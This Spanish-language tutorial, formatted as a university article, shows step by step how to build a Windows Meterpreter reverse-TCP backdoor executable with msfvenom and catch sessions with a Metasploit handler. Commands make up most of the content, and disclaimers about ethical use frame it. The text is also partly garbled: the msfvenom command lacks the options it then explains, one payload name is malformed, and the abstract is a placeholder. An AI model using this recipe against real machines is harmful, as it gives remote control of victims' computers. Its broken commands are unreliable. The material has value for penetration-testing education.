

Ejecutando payloads en ethical hacking

Edison Achalma

Escuela Profesional de Economía, Universidad Nacional de San Cristóbal de Huamanga

Este abstract será actualizado una vez que se complete el contenido final del artículo.

Palabras Claves: keyword1, keyword2

Tabla de contenidos

8 Publicaciones Similares

3

Introduction	2
1 Creando y Ejecutando un Payload Malicioso con Metasploit: Una Guía Paso a Paso	2
2 Paso 1: Obtener la Dirección IP con ifconfig	2
3 Paso 2: Crear el Payload con msfvenom	2
4 Paso 3: Configurar el Handler en Metasploit	2
5 Paso 4: Configurar el Exploit Handler	2
6 Paso 5: Ejecutar el Handler	3
7 Conclusión	3

 Edison Achalma

El autor no tiene conflictos de interés que revelar. Los roles de autor se clasificaron utilizando la taxonomía de roles de colaborador (CRediT; <https://credit.niso.org/>) de la siguiente manera: Edison Achalma: conceptualización, redacción

La correspondencia relativa a este artículo debe dirigirse a Edison Achalma, Email: elmer.achalma.09@unsch.edu.pe

Ejecutando payloads en ethical hacking

1 Creando y Ejecutando un Payload Malicioso con Metasploit: Una Guía Paso a Paso

Hola a todos! Hoy vamos a sumergirnos en el fascinante mundo de la seguridad informática y la creación de un payload malicioso usando Metasploit. Si bien esta guía es con fines educativos, es crucial recordar que utilizar estas herramientas para actividades maliciosas es ilegal y antiético. ¡Usémoslas para aprender y proteger!

2 Paso 1: Obtener la Dirección IP con ifconfig

Primero, necesitamos conocer nuestra dirección IP local para configurar el payload. Usamos el comando `ifconfig` para obtener esta información. Abre tu terminal y escribe:

```
ifconfig
```

Esto mostrará todas las interfaces de red y sus respectivas direcciones IP. Busca la IP de tu red local. En este ejemplo, supongamos que es 192.168.122.152.

3 Paso 2: Crear el Payload con msfvenom

Ahora que tenemos nuestra dirección IP, vamos a crear el payload. Usaremos `msfvenom`, una herramienta que viene con Metasploit para generar payloads maliciosos. Queremos crear un payload que permita un acceso remoto a una máquina con Windows. Usamos el siguiente comando:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp
```

Desglosamos el comando:

- `-p windows/x64/meterpreter/reverse_tcp`: Especificamos el payload, que en este caso es un Meterpreter reverse TCP para Windows de 64 bits.
- `LHOST=192.168.122.152`: Establecemos nuestra dirección IP local como el host de escucha.

- `LPORT=4444`: Elegimos el puerto de escucha (puedes cambiarlo si es necesario).
- `-f exe`: Indicamos que el formato de salida debe ser un archivo ejecutable de Windows.
- `-o backdoor.exe`: Nombramos el archivo de salida `backdoor.exe`.
- `-a x64`: Especificamos la arquitectura del payload (64 bits).

4 Paso 3: Configurar el Handler en Metasploit

Una vez que tenemos nuestro payload, necesitamos configurar un handler en Metasploit para escuchar las conexiones entrantes. Iniciamos Metasploit con:

```
msfconsole -q
```

La opción `-q` es para iniciar Metasploit en modo silencioso.

5 Paso 4: Configurar el Exploit Handler

En la consola de Metasploit, seguimos estos pasos:

1. Seleccionar el handler:

```
msf6 > use exploit/multi/handler
```

Esto indica que usaremos el módulo handler para gestionar la conexión entrante.

2. Configurar el payload:

```
msf6 > set payload windows/x64/meterpreter.exe
```

3. Establecer el LHOST y LPORT:

```
msf6 > set lhost 192.168.122.152
msf6 > set lport 4444
```

4. Verificar las opciones:

```
msf6 > show options
```

Esto muestra todas las opciones configuradas para asegurar que todo esté correcto.

6 Paso 5: Ejecutar el Handler

Finalmente, ejecutamos el handler para empezar a escuchar conexiones:

```
msf6 > run
```

Ahora, el handler está activo y esperando que alguien ejecute el `backdoor.exe` en su máquina. Cuando esto suceda, obtendrás una sesión de Meterpreter y podrás interactuar con la máquina comprometida.

7 Conclusión

Este proceso demuestra cómo se puede crear y manejar un payload malicioso usando Metasploit.

Nuevamente, subrayo la importancia de utilizar este conocimiento de manera ética y legal, principalmente para probar y fortalecer la seguridad de sistemas. Siempre asegúrate de tener permiso para realizar estas pruebas.

Espero que hayas encontrado esta guía informativa y útil. ¡Hasta la próxima!

8 Publicaciones Similares

Si te interesó este artículo, te recomendamos que explores otros blogs y recursos relacionados que pueden ampliar tus conocimientos. Aquí te dejo algunas sugerencias:

1. Ejecutando Payload

Esperamos que encuentres estas publicaciones igualmente interesantes y útiles. ¡Disfruta de la lectura!